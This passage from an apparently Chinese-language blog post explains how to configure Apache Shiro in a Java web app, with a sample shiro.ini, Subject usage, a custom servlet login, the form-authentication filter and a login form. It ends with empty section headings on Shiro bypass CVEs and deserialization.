  • [main] 里放“对象图”和全局组件;
  • [urls] 里放 URL 过滤链;
  • (可选的)[users]/[roles] 仅用于 IniRealm 快速演示。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
[main]
# =========== Realm ===========
# 方案A:临时演示用(把用户/角色写在下面 [users]/[roles])
iniRealm = org.apache.shiro.realm.text.IniRealm
# 方案B:换成你的自定义 Realm(推荐生产)
# myRealm = com.example.security.MyRealm
# securityManager.realms = $myRealm
securityManager.realms = $iniRealm

# =========== 缓存(可选) ===========
cacheManager = org.apache.shiro.cache.ehcache.EhCacheManager
cacheManager.cacheManagerConfigFile = classpath:ehcache-shiro.xml
securityManager.cacheManager = $cacheManager

# =========== 会话管理 ===========
# 默认用 Shiro “原生”会话(非容器 HttpSession),可配置 Cookie/过期等
sessionManager = org.apache.shiro.web.session.mgt.DefaultWebSessionManager
# 禁止 URL 追加 jsessionid,避免泄露
sessionManager.sessionIdUrlRewritingEnabled = false
# 使用 Cookie 传递会话标识
sessionIdCookie = org.apache.shiro.web.servlet.SimpleCookie
sessionIdCookie.name = JSESSIONID
sessionIdCookie.httpOnly = true
sessionIdCookie.path = /
sessionManager.sessionIdCookie = $sessionIdCookie
securityManager.sessionManager = $sessionManager

# 如需直接复用容器 HttpSession(Tomcat/Jetty 自带会话),改为:
# servletSessionManager = org.apache.shiro.web.session.mgt.ServletContainerSessionManager
# securityManager.sessionManager = $servletSessionManager

# =========== RememberMe(可选) ===========
rememberMeCookie = org.apache.shiro.web.servlet.SimpleCookie
rememberMeCookie.name = rememberMe
rememberMeCookie.httpOnly = true
rememberMeCookie.maxAge = 2592000 # 30 天

rememberMeManager = org.apache.shiro.web.mgt.CookieRememberMeManager
rememberMeManager.cookie = $rememberMeCookie
# 强烈建议:自定义密钥(在 Java 配置里设置 byte[] 更稳妥;ini 难写字节)
# rememberMeManager.cipherKey = <自定义字节数组>
securityManager.rememberMeManager = $rememberMeManager

# =========== 常用内置过滤器属性 ===========
authc = org.apache.shiro.web.filter.authc.FormAuthenticationFilter
authc.loginUrl = /login
# 登录成功后默认跳转,可在代码里覆盖
# authc.successUrl = /
logout.redirectUrl = /login

# 未授权时跳转/返回(配合前后端分离场景你可以自定义 JSON 版 Filter,见下文)
perms.unauthorizedUrl = /403
roles.unauthorizedUrl = /403

# =========== URL 过滤链 ===========
[urls]
/assets/** = anon
/login = anon
/logout = logout

/api/docs/** = authc, perms["doc:read"]
/api/admin/**= authc, roles[admin]

/** = authc

# (可选)内联的用户与角色,仅配合 iniRealm 快速试验
[users]
admin = password123, admin
alice = alicePwd, user

[roles]
admin = *
user = doc:read
Servlet 中使用 Subject

ShiroFilter 已经把当前请求与 Subject 绑定好,任意位置都可:

1
2
3
4
5
6
7
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.subject.Subject;

Subject subject = SecurityUtils.getSubject();
Object principal = subject.getPrincipal(); // 登录身份
boolean isAdmin = subject.hasRole("admin"); // 角色判定
boolean canRead = subject.isPermitted("doc:read");

例如下面这段代码是自定义登录(自己处理表单 POST):

1
2
3
4
5
6
7
8
9
10
11
12
13
import org.apache.shiro.authc.*;

protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String u = req.getParameter("username");
String p = req.getParameter("password");
Subject s = SecurityUtils.getSubject();
try {
s.login(new UsernamePasswordToken(u, p)); // 成功后 Shiro 建立会话
resp.sendRedirect(req.getContextPath() + "/");
} catch (AuthenticationException e) {
resp.sendError(401, "login failed");
}
}

除了在代码中自己实现登录逻辑,我们还可以把“登录这件事”完全交给 Shiro 自带的表单认证过滤器(FormAuthenticationFilter,简称 authc)来做

1
2
3
4
5
6
7
8
9
10
11
12
13
[main]
authc = org.apache.shiro.web.filter.authc.FormAuthenticationFilter
authc.loginUrl = /login # 登录页路径(GET 会放行到你的页面/控制器)
authc.successUrl = / # 没有 SavedRequest 时的登录成功跳转
authc.usernameParam = username # 表单字段名可改
authc.passwordParam = password
authc.rememberMeParam = rememberMe

[urls]
/assets/** = anon
/logout = logout
/login = authc # 关键:让 /login 由表单过滤器处理
/** = authc # 其他都需要登录
  • authc 就是 FormAuthenticationFilter 的别名。

  • [urls] 里写 /login = authc 后,所有访问 /login 的请求都会先经过这个过滤器。

    • GET /login:过滤器判断“这是登录页访问”,放行给你的视图/控制器去渲染页面(不拦)。

    • POST /login:过滤器从表单里取 username / password(字段名可改),自动执行 subject.login(...) 完成认证。

      • 成功:自动重定向到原先想去的地址(SavedRequest),如果没有,则跳到你配置的 successUrl(或默认根路径)。
      • 失败:把异常类名放到 request 属性 shiroLoginFailure,并回到 loginUrl(让你在页面上提示错误)。

对应前端提交的 form 表单应该是下面这个形式:

1
2
3
4
5
6
<form method="post" action="/login">
<input name="username">
<input type="password" name="password">
<label><input type="checkbox" name="rememberMe"> Remember me</label>
<button>Login</button>
</form>

集成到 Spring 项目

URL 访问绕过

CVE-2010-3863

CVE-2016-6802

反序列化

  • Title: Java 常见组件
  • Author: sky123
  • Created at : 2025-10-21 22:46:30
  • Updated at : 2025-10-30 22:42:12
  • Link: https://skyi23.github.io/2025/10/21/Java 常见组件/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
Java 常见组件